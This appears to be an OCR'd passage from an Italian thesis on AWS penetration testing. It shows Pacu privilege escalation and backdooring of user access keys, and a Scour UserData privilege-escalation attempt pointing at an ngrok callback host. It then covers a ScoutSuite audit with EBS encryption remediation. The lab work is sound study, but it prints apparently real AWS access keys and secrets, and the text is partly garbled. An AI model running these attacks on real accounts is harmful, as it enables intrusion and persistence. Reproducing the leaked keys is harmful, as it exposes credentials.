[iam__privesc_scan] iam__privesc_scan completed.

[iam__privesc_scan] MODULE SUMMARY :

Privilege escalation was successful

Figura 6.17: Privilege escalation eseguito

5. Enumerare i permessi dell’utente adesso

1 run iam__enum

Codice 6.17: Privilage Escalation
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Pacu (PacuTestPermission:TesiPacuTesterAccount) > run iam__enum_permissions
Running module iam__enum_permissions...

[iam__enum_permissions] Confirming permissions for users:

[iam__enum_permissions] TesiAccountPermessi...

[iam__enum_permissions] Confirmed Permissions for TesiAccountPermessi

[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY :

Confirmed permissions for user: TesiAccountPermessi.
Confirmed permissions for ® role(s).

Figura 6.18: Enumerazione permessi dopo privilage escalation

6. Eseguire il comando whoami per vedere i nuovi permessi associati all'utente.

Pacu (PacuTestPermission:TesiPacuTesterAccount) > whoami

" we w . Nome policy «
UserName": "TesiAccountPermessi”,

null,
aws:iam::925331193091:user/TesiAccountPermessi”, Collegate direttamente
"925331193091",
IDAS04QJPUBSECIFLP4H",
» PacuTest
+ [,
"Policies” .~
- » IAMUserChangePassword
"PolicyName": "2efc2e841z"
%. - 2efc2eB841z
"PolicyName": "PacuTest",
"PolicyArn": "arn:aws:iam::925331193091:policy/PacuTest"
%- Riepilogo della policy
"PolicyName": "IAMUserChangePassword",
"PolicyArn": " :aws:1am::aws:policy/IAMUserChangePassword” {

}

1,
"AccessKeyId": "AKIA504QJPUBVQNCLTAS",
"SecretAccessKey”: "UhLhXRzL4aullPnG2Zht***ddkdddbdbdbdddddd™
"SessionToken": null,
"KeyAlias": "TesiPacuTesterAccount”,
"PermissionsConfirmed”: true,
"Permissions”: {

"Allow": {

i

"Resources": [

Tipo di policy -

Policy gestita
Policy gestita da A'

Paolicy incorporata

Modifica policy.

Figura 6.19: Policy aggiunta nell’account dal comando iam__privesc_scan

7. Eseguire il modulo ec2__enum per avere piu informazioni sull’infrastruttura.

1 run ec2__enum

Codice 6.18: Enumerazione istanze EC2
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[ec2__enum] MODULE SUMMARY:

Regilons:
eu-west-1

5 total instance(s) found.

25 total security group(s) found.
total elastic IP address(es) found.
total VPN customer gateway(s) found.
total dedicated hosts(s) found.
total network ACL(s) found.

total NAT gateway(s) found.

total network interface(s) found.
total route table(s) found.

total subnets(s) found.

total VPC(s) found.

total VPC endpoint(s) found.

total launch template(s) found.

[<]

[ R o

MW= o

Figura 6.20: Enumerazione EC2

Come ¢ possibile vedere, sono state trovate 3 instanze EC2 attive che sono appunto
quelle create in precedenza.

8. Adesso che abbiamo i permessi di amministratore, possiamo aggiungere persi-
stenza verso altri utenti, come ad esempio AmministratoreAccount (creato in
precedenza per costruire l'infrastruttura).

1 run iam__backdoor_users_keys

Codice 6.19: iam backdoor user

Pacu (PacuTestPermission:TesiPacuTesterAccount) > run iam__backdoor_users_keys
Running module iam__backdoor_users_keys...

[iam__backdoor_users ys] Backdoor the following users?

[iam__backdoor_user AmministratoreAccount (y/n)? y

[iam__backdoor_users Access Key ID: AKIA504QJPUBUTDS560WY

[iam__backdoor_users_ke Secret Key: JQbtaRXRoErMuEEd/IphqWzgl2u6h4+gyudTjt+1

[iam__backdoor_user pluto (y/n)? n

[iam__backdoor_use ProvaFullAccessS3 (y/n)? n

[iam__backdoor_users_ke TesiAccountPermessi (y/n)? n

[iam__backdoor_users_ke topolino (y/n)? n

[iam__backdoor_users_keys] iam__backdoor_users_keys completed.

[iam__backdoor_users_keys] MODULE SUMMARY:

1 user key(s) successfully backdoored.

Figura 6.21: iam__backdoor_users_keys

Il comando stampera ogni utente trovato e chiedera se si vogliono aggiungere
chiavi di sessione o meno.

9. Avendo ottenuto le chiavi, sara possibile avviare una sessione con 1’account ammi-
nistratore mediante il comando set_keys. Con il comando swap_keys si cambiera
utente.

Pacu (PacuTestPermission:TesiPacuTesterAccount) > set_keys
Key alias [TesiPacuTesterAccount]: AccountAmministratore
Access key ID [AKIAS504QJPUBVQNCLTAS5]: AKIA504QJPUBY57KFWEM
Secret access key [UhLhXRzL4aullPnG2Zhtxx***xxxx**kkxxx**x*xxxx]: JSawudg7LDKG+6
UXLsEhFVJQ1Z8+EuFUabNf/idh

N I
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5 Pacu (PacuTestPermission:AccountAmministratore) > swap_keys

Codice 6.20: set keys amministratore e swap account

Pacu (PacuTestPermission:TesiPacuTesterAccount) > set_keys

Setting AWS Keys

Press enter to keep the wvalue currently stored.

Enter the letter C to clear the value, rather than set it.

If you enter an existing key_alias, that key's fields will be updated instead of added.

Key alias [TesiPacuTesterAccount]: AccountAmministratore

Access key ID [AKIAS504QJPUBVQNCLTAS]: AKIA504QJPUBYS7KFWEM

Secret access key [UhLhXRzL4aullPnG2Zht*****%xkkxkkxkkkrdkx*]: JSawudg7LDKG+6UXLSERFVIQ1Z8+EuFUasSNT/14h
session token (Optional - for temp AWS keys only) [MNone]:

Keys saved to database.

Pacu (PacuTestPermission:AccountAmministratore) > swap_keys

Swapping AWS Keys. Press enter to keep the currently active key.
AWS keys in this session:
[1] TesiPacuTesterAccount
[2] AccountAmministratore (ACTIVE)
Choose an option: 1
AWS key 1s now TesiPacuTesterAccount.
Pacu (PacuTestPermission:TesiPacuTesterAccount) = I

Figura 6.22: SetKeys -SwapSession

10. Avendo l'accesso da amministratore sara possibile eseguire tutti i moduli. Ad
esempio, si potrebbe fare reverse shelling sulle istanze ec2 o scaricare i dati
contenuti nei bucket S3.
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7. Scour

Scour [23] & un AWS Detection Framework moderno scritto in golang !, sviluppato per
red team testing e blue team analisi. Scour contiene tecniche moderne che possono
essere usate per attaccare I’ infrastruttura o cercare tecniche per la difesa di quest’ul-
tima.

Scour & supportato da tutte le versioni Linux/OSX; & un software open-source ed &
distribuito con una licenza BSD-3-Clause

Per usare il tool & necessario prima avere go installato:

1 sudo apt get install golang
Codice 7.1: Installazione golang

In seguito scaricare il tool con il comando:

1 git clone https://github.com/grines/scour.git
Codice 7.2: scour

Posizionarsi nella directory di scour ed installare i moduli necessari con il comando

1 sudo go get github.com/grines/scour
Codice 7.3: Installazione dipendenze scour

Eseguire il comando per eseguire la build del tool

1 go build main.go

Codice 7.4: Building tool
Nel caso venga ritornato il seguente errore:

$ sudo go build main.go

main.go:3:8: no required module provides package github.com/grines/scour/cmd; to add it:
go get github.com/grines/scour/cmd

Figura 7.1: Scour installation error

Eseguire i seguenti comandi:

1 go mod init test
2 go build main.go

Codice 7.5: Fix building tool

Infine per avviare scour

Hinguaggio di programmazione open-source
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./main

Codice 7.6: Avvio scour

S ./main
UA Tracking Session: exec-env/2etxSIIO7L
AWS Exploitation Framework
VA VY Y
[
[
Y|

Il
[ O
[ O
- 11 1|
/N /\__[I_
ﬂ.}l

Figura 7.2: Scour avvio

I comandi base di scour sono:

e token profile < profile_name >< region >: sara possibile accedere con uno dei
profili presenti nel file ~ /aws/credentials.

e token AssumeRole < role_name >< region >: potra essere assunto un ruolo
dall’account con cui ci si ¢ autenticati nella sessione di scour.

e help module: mostra a video le informazioni di aiuto inerenti ad uno specifico
modulo

e attack evasion < tactic: si esegue lo specifico modulo con i parametri di default

7.1 Pratica

Come primo passo bisognare effettuare I'accesso da console dagli account per i quali si
vuole eseguire il test. In questo caso verra effettuato il login tramite I'utente Prova-
FullAccessS3 e TesiAccountPermessi. Per effettuare I'autenticazione con i due account
usare da terminale il comando:

aws configure

Codice 7.7: aws configure

H % aws configure
AWS Access Key ID [*******sxxkxx*x**¥HEWC]: AKIAS04QIPUBTNZEHG6WC
AWS Secret Access Key [********xxxx*x***hTNR]: IXsGNeXFzz6TUMXIbwmfOXqrB+GEWTHg2QrvhTNR
Default region name [eu-west-1]: eu-west-1
Default output format [None]:

$ cat ~/.aws/credentials

[default]

aws_access_key_id = AKIA504QIPUB7N2EH6WC

aws_secret_access_key = JXsGNeXFzz67UMXIbwmfOXqrB+GEWTHg2QrvhTNR

Figura 7.3: Shell AWS

Con il comando token profile < profile_.name >< region > si potra accedere a gli
utenti presenti nel file ~/.aws/credentials. Nel caso preso in esempio il comando sara
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token profile default eu-west-1

Codice 7.8: token profile

token profile default eu-west-1

g

Figura 7.4: Connesione al profilo

Dopo aver effettuato 'accesso come primo comando si € provato ad enumerare le istanze
EC2 per avere piu informazioni sull’infrastruttura.

attack enum ec2

Codice 7.9: enumerazione ec2

< > attack enum EC2
UnautheorizedOperation: You are not authorized to perform this coperation.
status code: 403, request id: 49da797c-d018-4a46-87f7-132e99584682
UA Tracking: exec-env/7ee2ZPmUkg/Poct2DXeDW/ec2-enum

Figura 7.5: Enumerazione EC2 fallita

E stato anche provato ad eseguire I’enumerazione per gli utenti IAM, anch’essa con
risultati negativi.

attack enum iam

Codice 7.10: enumerazione iam

< > attack enum IAM
Got error getting account details
AccessDenied: User: arn:aws:lam::925331193091:user/ProvaFullAccessS3 is not authorized to perform: iam:GetAccountAuthorizat
ionDetails on resource: *
status code: 403, request id: 649a6c6b-8eB04-4d4a-bee8-b32aa20670de
UA Tracking: exec-env/7ee2ZPmUkg/OmRAGCFu2p/iam-enum

Figura 7.6: Enumerazione IAM fallita

L’unico modulo con esiti positivi € quello in seguito all’enumerazione su i bucket S3.

attack enum s3

Codice 7.11: enumerazione S3

< > attack enum S3
UA Tracking ec-env/7ee2ZPmUkg /Vrflyx
————— L e R s TR L R RS T R L
ITE | ALLOW PUBLIC | PERMI REPLICATION | REGION
+ -- -
| false se | eu-west-1 |
| false e false

-+

Figura 7.7: Enumerazione S3
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Sara possibile testare anche altri comandi ma non avendo sufficienti autorizzazioni non
si avra nessun riscontro.

attack creds SSM
attack creds UserData

Codice 7.12: Attacco creds

< > attack creds SSM

AccessDeniedException: User: arn:aws:iam::925331193091:user/ProvaFullAccessS3 is not autho
rized to perform: ssm:DescribeParameters on resource: arn:aws:ssm:eu-west-1:925331193091:%*
status code: 480, request id: 5be3ae73-bd2c-4745-975a-1fBecf55cfed
i xec-env/W20ZvjxmU6/pzCo7xiabZ/ssm-params-creds

> attack creds UserData
nauthorizedOperation: You are not authorized to perform this operation.
status code: 483, request id: ad166574-e2cc-41087-92f1-f0cb91317870
xec-env/W20ZvjxmU6 /SLHNIFWjiY fuserdata-creds
---+

Figura 7.8: Attacco Fallito Scour

A questo punto per testare al meglio il tool si & creato un nuovo utente con le seguenti
policy.

~ Policy di autorizzazioni (4 policy applicate)

Nome policy « Tipo di policy «

Collegate direttamente

» scourpolicy Policy gestita

» AmazonEC2FullAccess Policy gestita da AWS
» IAMUserChangePassword Policy gestita da AWS
4 AmazonEC2ContainerServiceforEC2Role Policy gestita da AWS

Figura 7.9: policy account

La nuova policy scour policy ¢ la seguente:

"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [

"iam:GetUserPolicy",
"iam:GetPolicy",
"ssm:DescribeParameters"”,
"iam:GetAccountAuthorizationDetails",
"iam:List*"

1,

"Resource": "x"
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Codice 7.13: policy utente scour

A questo punto viene effettuato ’autenticazione come in precedenza tramite aws con-

figure con il nuovo account.

Effettuando una enumerazione sulle macchine EC2 sara possibile ottenere diverse in-

formazioni tra cui il numero identificativo dell’istanza.

> attack enum EC2
28FBd/ec2-enum

1-0b5e0d17f7767f459 | None | vpc-043b04f70cdb42d91 | None | 10. . 5g-0b93ab72c764d124c |
1-0c9e1bf315f6c21fO | None | vpc-043b04f70cdb42d91 | None | 18.1.1.76 | sg-Oe2a744bada5a5ccd |
| | | |
| | | |
13a7f87cOccc3fa | None | vpc-043b04f70cdb42d91 | 34.254.197.52 | 10.1.1.50 | sg-094638bff5e28f08e
———————————————— et et ettt et Sl

Figura 7.10: enumerazione EC2

I

running | false

stopped | false
|

running | false

,,,,,,,,, o

Dall’analisi effettuata e stata trovata una macchina pubblica in stato attivo con id
i-0113a7f87c0ccc3fa. Da qui sara possibile provare ad eseguire il modulo attack privesc

UserData id-istanza serverHTTP.

Prima di eseguire il comando & stato usato il programma ngrok per creare un tunnel

tra un server web eseguito in localhost e la rete esterna.

sudo apt get install ngrok
sudo ngrok http 3000

Codice 7.14: avvio ngrok

In questo caso e stato usato un server node per la creazione di quest’ultimo ed i comandi

npm (Node Package Manager) ed express.js per il server.
sudo apt get install npm

npm init

npm install express —--save

node index.]s

Codice 7.15: running server

Il file index.js contiene semplicemente due api per permettere al nostro tunnel di ricevere

chiamate POST e GET.

const express = require(’express’)
const app = express()
const port = 3000

app.get (7/7, (req, res) => {
res.send(’Request_GET_received’)

b

app.post (’/’, (req, res) => {
console.log ("POST_RECEIVED")
res.send(’ok”’)
})
app.listen (port, () => {
console.log (‘Example app listening at http://localhost:S{port}")
})

Codice 7.16: File index.js
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O O 127.0.0.1:4040/inspect/http

You are using ngrok without an account. Your session will end in 1 hour, 59 minutes. Sign up for longer sessions.

No requests to display yet

To get started, make a request to one of your tunnel URLs

Llhttp://d017-5-90-228-168.ngrok.io

« https://d017-5-90-228-168.ngrok.io

Figura 7.11: Ngrok attivo e pronto alla ricezione su i due indirizzi indicati

Infine per testare la corretta ricezione delle richieste POST ¢ stata effettuata una

chiamata con il programma Postman.

POST ¥  http://d017-5-90-228-168.ngrok.io
Params Authorization Headers (8) Body @ Pre-request Script
none form-data x-www-form-urlencoded @ raw binary

1 testing message

Jody Cookies Headers (6) TestResults

Pretty Raw Preview Visualize HTML + e }

1 ok

Tests Settings

GraphQL ext w

Figura 7.12: Richiesta POST con postman
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Dalla figura 7.13 & possibile verificare la corretta ricezione di ngrok.

All Requests Clear less than a minute age ~ Duration 36.62ms 2 IP 5.90.228.168

200 OK 36.62ms

POST /

Summary Headers Raw Binary Replay ~

15 bytes text/plain

testing message

200 OK
Summary Headers Raw Binary

2 bytes text/html; charset=uti-8

ok

Figura 7.13: Richiesta POST su ngrok

Tutta questa procedura era necessaria per testare il modulo attack privesc UserData.
I parametri richiesti da questo modulo sono :

e identificativo dell’istanza di interesse

e url dove poter ricevere richieste POST

1 attack privesc UserData 1-0b5e0d17f7767£459 http://d017-5-90-228-168.ngrok.1io

Codice 7.17: attack privesc UserData

> attack privesc UserData i-0b5e08d17f7767f459 http://d@17-5-90-228-168.ngrok.1io
INF Stopping Instance i-8b5e8d17f7767f459 - State: stopping

INF Modifying Instance Attribute UserData on i-8b5e8d17f7767f459
INEY Starting Instance i-8b5e8d17f7767f459 - State: pending

Figura 7.14: privesc ngrock tentativo

Nonostante sembri che il modulo sia stato eseguito correttamente dal web server, non
sono state ricevute chiamate post oltre che quella generata da Postman.
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All Requests Clear 4 minutesago  Duration 36.62ms L IP 5.90.228.168

200 OK 36.62ms

POST/

Summary Headers Raw Binary Replay ~

15 bytes text/plain

testing message

200 OK
Summary Headers Raw Binary

2 bytes text/html; charset=uti-8

ok

Figura 7.15: not received post request

Testando il comando anche sull’altra istanza, cioe quella pubblica, non sono stati
ottenuti i risultati sperati.

attack privesc UserData i-0113a7f87cOccc3fa http://d017-5-90-228-168.ngrok.io

Codice 7.18: attack privesc UserData

> attack privesc UserData i-0113a7f87c@ccc3fa http://de17-5-90-228-168.ngrok.1io
INF Stopping Instance 1-8113a7f87c@ccc3fa - State: stopped

INF Modifying Instance Attribute UserData on 1-8113a7f87c@ccc3fa
INEY Starting Instance 1-8113a7f87cBccc3fa - State: pending

Figura 7.16: privesc ngrock tentativo 2

Dall’infrastruttura creata in precedenza anche testando altri moduli, come ad esempio
attack privesc IAM, non si sono ottenuti risultati.

Attualmente la documentazione presente in rete per questo tool non ¢ sufficiente per
I'utilizzo se non quello base dove vengono effettuate le enumerazioni. Il tool presen-
ta diversi vantaggi quali I’autocompletamento ma senza un apposita documentazione
risulta molto complesso il suo utilizzo infatti alcuni comandi sono stati direttamente
letti dal codice sorgente poiché non presenti nella documentazione di GitHub.

78



8. Scout

8.1 ScoutSuite

Scout Suite[24] & un tool multi-cloud-security-auditing! open-source, che consente di
eseguire una valutazione del livello di sicurezza dell’ambiente cloud. Scout Suite racco-
glie i dati di configurazione usando le API esposte dai provider e ne evidenzia le aree
di rischio. Infine, questo tool presenta tutti i dettagli registrati in un chiaro report
generato automaticamente alla fine del test.

-

Figura 8.1: Scout Suite Logo [21]

Scout Suite ¢ stato sviluppato da consulenti di sicurezza e auditors. Fornisce una vi-

sione orientata alla sicurezza point-in-time dell’account cloud dove viene eseguito: dopo
che i dati sono stati raccolti possono essere analizzati offline, grazie alla generazione di
un report HTML con tutti i dettagli.
Scout suite & scritto in python e supporta le seguenti versioni: 3.6, 3.7, 3.8. Le Libre-
rie richieste possono essere trovate nel file requirements.txt presente nel collegamento
GitHub [24]. Per AWS sono richieste le seguenti librerie python: botocore > 1.12.210,
boto3 > 1.9.210 (per gestire 'autenticazione), policyuniverse > 1.3.2.0. L’installazione
di Scout puo essere eseguita tramite git o pip. Nel caso in cui si volesse utilizzare pip,
eseguire i seguenti comandi:

e virtualenv -p python3 venv
e source venv/bin/activate
e pip install scoutsuite

e scout —help

T servizi cloud supportati sono : AWS, Microsoft Azure, Google Cloud Platform , Alibaba
Cloud(alpha), Oracle Cloud Infrastructure (alpha)
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ScoutSuite

Per usare scout bastera usare il comando scout aws; i dati usati per ’analisi si trovano
sul file /.aws/credentials che viene generato quando viene usato AWS CLI. Nel caso in
cui questo file non esistesse, & possibile generarlo eseguendo il comando aws configure.
Nel caso fossero presenti piu profili nel file aws/credentials, selezionare il profilo usando
I'opzione —profile [Nome Profilo] nel caso non venisse specificata questa opzione, viene
scelto il profilo di default.

Le seguenti politicies gestite da AWS possono essere allegate all’entita utilizzata per
eseguire Scout al fine di concedere le autorizzazioni necessarie:

ReadOnlyAccess
SecurityAudit

Codice 8.1: Policy Scout AWS

Altrimenti, se si volesse configurare una policy speciale con permessi minimi per poter
eseguire 'audit, si potrebbe usare la seguente:

{
"Version": "2012-10-17",

"Statement": [
{
"Sid": "VisualEditorO",
"Effect": "Allow",
"Action": [

"acm:DescribeCertificate”,
"acm:ListCertificates"”,
"cloudformation:DescribeStacks",
"cloudformation:GetStackPolicy",
"cloudformation:GetTemplate",
"cloudformation:ListStacks",
"cloudtrail:DescribeTrails",
"cloudtrail:GetEventSelectors",
"cloudtrail:GetTrailStatus",
"cloudwatch:DescribeAlarms",
"cognito-identity:DescribelIdentityPool",
"cognito-identity:ListIdentityPools",
"cognito-idp:DescribeUserPool",
"cognito-idp:ListUserPools",
"config:DescribeConfigRules",
"config:DescribeConfigurationRecorderStatus",
"config:DescribeConfigurationRecorders”,
"directconnect :DescribeConnections"”,
"dynamodb :DescribeContinuousBackups"”,
"dynamodb:DescribeTable",
"dynamodb:ListBackups",
"dynamodb:ListTables",
"dynamodb:ListTagsOfResource",
"ec2:DescribeCustomerGateways",
"ec2:DescribeFlowLogs",
"ec2:DescribeImages”,
"ec2:DescribeInstanceAttribute”,
"ec2:DescribelInstances”,
"ec2:DescribeNetworkAcls",
"ec2:DescribeNetworkInterfaceAttribute",
"ec2:DescribeNetworkInterfaces”,
"ec2:DescribeRegions",
"ec2:DescribeRouteTables”,
"ec2:DescribeSecurityGroups"”,
"ec2:DescribeSnapshotAttribute”,
"ec2:DescribeSnapshots”,
"ec2:DescribeSubnets",
"ec2:DescribeVolumes",
"ec2:DescribeVpcPeeringConnections",
"ec2:DescribeVpcs",
"ec2:DescribeVpnConnections",
"ec2:DescribeVpnGateways",
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"ecr:DescribeImages”",
"ecr:DescribeRepositories”,
"ecr:GetLifecyclePolicy",
"ecr:GetRepositoryPolicy",
"ecr:ListImages",

"ecs:DescribeClusters”,
"ecs:ListAccountSettings",
"ecs:ListClusters"”,

"eks:DescribeCluster”,

"eks:ListClusters",
"elasticache:DescribeCacheClusters",
"elasticache:DescribeCacheParameterGroups”,
"elasticache:DescribeCacheSecurityGroups"”,
"elasticache:DescribeCacheSubnetGroups",
"elasticfilesystem:DescribeFileSystems",
"elasticfilesystem:DescribeMountTargetSecurityGroups",
"elasticfilesystem:DescribeMountTargets"”,
"elasticfilesystem:DescribeTags",
"elasticloadbalancing:DescribelListeners”,
"elasticloadbalancing:DescribelListeners"”,
"elasticloadbalancing:DescribeLoadBalancerAttributes”,
"elasticloadbalancing:DescribelLoadBalancerAttributes”,
"elasticloadbalancing:DescribelLoadBalancerPolicies",
"elasticloadbalancing:DescribelLoadBalancers",
"elasticloadbalancing:DescribelLoadBalancers",
"elasticloadbalancing:DescribeSSLPolicies",
"elasticloadbalancing:DescribeTags",
"elasticloadbalancing:DescribeTags",
"elasticmapreduce:DescribeCluster"”,
"elasticmapreduce:ListClusters”,
"guardduty:GetDetector",
"guardduty:ListDetectors"”,
"iam:GenerateCredentialReport",
"iam:GetAccountPasswordPolicy",
"iam:GetCredentialReport",

"iam:GetGroup",

"iam:GetGroupPolicy",
"iam:GetLoginProfile",

"iam:GetPolicy",

"iam:GetPolicyVersion",

"iam:GetRole",

"iam:GetRolePolicy",

"iam:GetUserPolicy",

"iam:ListAccessKeys",
"iam:ListAttachedRolePolicies",
"iam:ListEntitiesForPolicy",
"iam:ListGroupPolicies",

"iam:ListGroups",

"iam:ListGroupsForUser",
"iam:ListInstanceProfilesForRole",
"iam:ListMFADevices",

"iam:ListPolicies",

"iam:ListRolePolicies",

"iam:ListRoleTags",

"iam:ListRoles",

"iam:ListUserPolicies",

"iam:ListUserTags",

"iam:ListUsers",
"iam:ListVirtualMFADevices",
"kms:DescribeKey",

"kms:GetKeyPolicy",

"kms :GetKeyRotationStatus",
"kms:ListAliases",

"kms:ListGrants",

"kms:ListKeys",
"lambda:GetFunctionConfiguration",
"lambda:GetPolicy",

"lambda:ListFunctions",
"logs:DescribeMetricFilters",
"rds:DescribeDBClusterSnapshotAttributes”,
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"rds:DescribeDBClusterSnapshots”",
"rds:DescribeDBClusters”,
"rds:DescribeDBInstances”",
"rds:DescribeDBParameterGroups”",
"rds:DescribeDBParameters”,
"rds:DescribeDBSecurityGroups",
"rds:DescribeDBSnapshotAttributes”,
"rds:DescribeDBSnapshots",
"rds:DescribeDBSubnetGroups",
"rds:ListTagsForResource",
"redshift:DescribeClusterParameterGroups",
"redshift :DescribeClusterParameters”,
"redshift:DescribeClusterSecurityGroups"”,
"redshift:DescribeClusters”,
"routeb53:ListHostedZones",
"routeb3:ListResourceRecordSets",
"route53domains:ListDomains",
"s3:GetBucketAcl",
"s3:GetBucketLocation",
"s3:GetBucketLogging",
"s3:GetBucketPolicy",
"s3:GetBucketTagging",
"s3:GetBucketVersioning",
"s3:GetBucketWebsite",
"s3:GetEncryptionConfiguration”,
"s3:ListAllMyBuckets",
"secretsmanager:ListSecrets"”,
"secretsmanager:DescribeSecret”,
"ses:GetIdentityDkimAttributes",
"ses:GetIdentityPolicies",
"ses:ListIdentities",
"ses:ListIdentityPolicies",
"ssm:DescribeParameters”,
"ssm:GetParameters"”,
"sns:GetTopicAttributes",
"sns:ListSubscriptions”,
"sns:ListTopics",
"sgs:GetQueueAttributes",
"sgs:ListQueues"

]I

"Resource": "x"

Codice 8.2: AWS Minimal Privileges Policy

8.2 Pratica

All’inizio bisognera configurare aws da CLI.

USERQubuntu:~$ aws configure

AWS Access Key ID [None]: AKIA504QJPUBQIQVO5XD

AWS Secret Access Key [None]: 8vywdgmTJkrhjpOKZhKiSkRKpllF3ndUibV¥YnjfR
Default region name [None]: eu-west-1

Default output format [None]:

Codice 8.3: AWS CLI

Successivamente runnare il comando :

aws scout

Codice 8.4: Scout Command
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& Amazon Web Services » 925331193091

Service Resources indings Checks
ACM 0 2 o 0
CloudFormation 0 1 o 0

© CloudTrail 0 8 16 16
CloudWatch 0 1 o 0
Config 0 1 17 17

0 EC2 51 28 148 1577
ELB 0 3 o 0
ELBV2 0 5 o 0

0 1aM 54 36 34 589

@ KmMs 2 1 o 2
RDS 17 8 o 0

Figura 8.2: Risultato ottenuto dal report di Scout

Ogni servizio sara cliccabile e ci riportera a una serie di best-practices da applicare per
migliorare l'infrastruttura. Si possono suddividere in tre tipologie

e Good: best Practices applicate.

L] -
Description Rules checked: 91
Ports associated with plaintext protocols have been found to be open in this security group. Plaintext protocols Rules flagged: 0

should be replaced with more secure alternatives, as the data in transit may be monitored and could,
potentially, be subject to tampering.

Figura 8.3: Scout Good

e Warning: miglioramenti che si potrebbero applicare.
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AWS Config Not Enabled

Description
Mo AWS Config recorders are configured, which means that changes in AWS resource configuration are not
logged. This hinders security analysis, resource change tracking and compliance auditing.

Remediation

Enable AWS Config in all regions, define the resources you want to record in each region and include global
resources (1AM resources)

Compliance
CI5 Amazon Web Services Foundations version 1.0.0, reference 2.5
CI5 Amazon Web Services Foundations version 1.1.0, reference 2.5
CI5 Amazon Web Services Foundations version 1.2.0, reference 2.5

References

https://aws.amazon.com/t

Figura 8.4: Scout Warning

e Danger: pericoli presenti nell’infrastruttura.

@ Credentials Unused for 90 Days or Greater Are Not Disabled

Description

Disabling or removing unnecessary credentials will reduce the window of oppertunity for compromised accounts
to be used.

Remediation

Ensure that all credentials {including passwords and access keys) have been used and changed in the last 90
days

Compliance
CIS Amazon Web Services Foundations version 1.0.0, reference 1.3
CIS Amazon Web Services Foundations version 1.1.0, reference 1.3
CIS Amazon Web Services Foundations version 1.2.0, reference 1.3

Figura 8.5: Scout Danger

Regions checked: 17
Regions flagged: 17

Users checked: 6
Users flagged: 1

Analizzando piu nel dettaglio un’eventuale criticita, sara anche piu facile capire come
sistemarla. Ad esempio, il report effettuato indica che i volumi EBS non sono stati

cifrati.

© EBS Volume Not Encrypted

Description
Enabling encryption of EBS volumes ensures that data is encrypted both at-rest and in-transit (between an
instance and its attached EBS storage).

References

https

C2/latest/UserGuide/EBSEncrypticn.html

Figura 8.6: Criticita trovata su EBS

Volumes checked: 3
Volumes flagged: 3

Esaminando piu in profondita, sarad possibile ottenere ulteriori informazioni come la

regione dove si trova il disco, I'id ed il nome.
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3] vol-050c16894f1486ad4

e o + id: vol-050c168941486ad4
» name: vol-050c16694f1486ad4
» resource:
Attachments:
ap-northeast-2 . 0:

= AttachTime: 2021-09-23 09:56:47+00:00
» DeleteOnTermination: true
ap-northeast-3 = Device: /dev/xvda
» Instanceld: i-0c9elbf315f6c91f0
= State: attached
= Volumeld: vol-050c16894f1486ad4
AvailabilityZone: eu-west-1a
CreateTime: 2021-09-23 09:56:47.503000+00:00

Encrypted: false
ap-southeast-1 (] lops: 100

ap-south-1 []

KeyManager:

LastSnapshotDate:

ap-southeast-2 MultidttachEnabled: false

Size: 10

Snapshotld: snap-0c23fadal997b26d7

_— State: in-use
ca-centr,
a-cenka VolumeType: gp2

arn: arn:aws:ec2:eu-west-1:925331193091:volume/vol-050c16894f1486ad4

central- o
id: vol-050c16894f1486ad4
rame: vol 050c1 G09ar sooace
= resource_key: vol-050c16594f1486ad4
-1 o

» resource_type: volumes

» service_name: ec2
eu-west-1 (]
_ vol-074e14b2227870fe3

Attributes I

Figura 8.7: Scout EBS nel dettaglio

La soluzione a questo problema sara creare uno snapshot per ogni disco non criptato.

Crea snapshot

Sei sicuro di voler eseguire questa operazione?

Volume vol-Obd8e0ac88e8ad783 €
Descrizione | Snapshot-Disco-vol-Obd8e0ac88e8ad783 [i ]

Crittografato Non critiografate €

Chiave  (massimo 127 caratteri) Valore  (massimo 255 caratteri)

Questa risorsa atfuaimente non ha tag

Seleziona il pulsante “Aggiungi fag” oppure fai clic per aggiungere un tag con nome

Aggiungitag 50 restante  (fino a 50 tag massimo)

* Campo obbligatorio Annulla [eEEELERS

Figura 8.8: Creazione Snapshot disco EBS

Uno snapshot di un volume non criptato non potra essere criptato, percio dopo aver
creato lo snapshot, verra creato un nuovo volume EBS criptato.
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Zona di disponibilita™ | eu-west-1a >~ O
ID snapshot | snap-01253807e17c94fd9 - C O
Fast Snapshot Restore Not enabled €

Crittografia Esegui la crittografia di questo volume

Chiave master = (predefinito) aws/ebs - C
Descrizione chiave KMS Default key that protects my EBS volumes when no other key is defined
Account chiave KMS Questo account (925331193091)
ID chiave KMS alias/aws/ebs

ARN chiave KMS arnaws kms eu-west-1:925331193091 key/ed7e9758-0300-4a00-a7e3-8c9ch5a288e4

| volumi creati da snapshot crittografati vengono automaticamente crittografati, mentre i
volumi creati da snapshot non crittegrafati, non vengeno crittografati automaticamente.
Se non & stato selezionato nessuno snapshot, puoi scegliere di crittografare il volume e
specificare la chiave. Ulteriori informazioni sulle chiavi KMS

Figura 8.9: Creazione EBS da snapshot

Andare nell’istanza EC2 ed arrestarla. Successivamente, andare sul disco ed effettua-
re Poperazione di distaccamento dall’istanza EC2, ed in seguito si attacchera il nuovo
disco EBS criptato con listanza arrestata.

Modifica il volume e

Q Filtro per tag
Crea snapshot

Name Create Snapshot Lifecycle Policy ~ IDvolume | Dimensioni~ Tipodivolum~ IOPS +| Throughput~  Snapshot  +| Creato + | Zona didisponibi~ Stato
Elimina il volume
[ ] Collaga Il volume vol-01fbdces2 100 GiB gp2 300 - snap-0125380 26 settembre 2021 eu-west-1a @ available
vol-Obd8ela. 8GiB gp2 100 - snap-0125380 26 settembre 2021 eu-west-1a @ available
vol-074e14db. 8GiB ap2 100 - snap-0f30d319. 23 settembre 2021 eu-west-1b @ in-use
Modifica dellimpostazione auto-abilita 10 B .
vol-050¢c168. 10 GiB gp2 100 - snap-0c23fada 23 settembre 2021 eu-west-1a @ in-use

Aggiungi/madifica tag

Figura 8.10: EBS disco Collega/Distacca volume

Infine, bisognera eliminare il volume EBS e gli snapshot non criptati creati cosi da
ridurre i costi di mantenimento per l'infrastruttura.

Elimina il volume X

Desideri eliminare questo volume?

» vol-ObdBelacB8e8ad7s3

Figura 8.11: Scout EBS nel dettaglio
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Far ripartire I'istanza precedentemente arrestata, e poi eseguire questo procedimento
per gli altri tre volumi EBS.
Eseguendo una nuova scansione usando scout, possiamo notare che la criticita che era
stata riscontrata in precedenza non sara piu presente.

EC2 Dashboard

© Security Group Opens All Ports to All
© Security Group Opens 55H Port to All
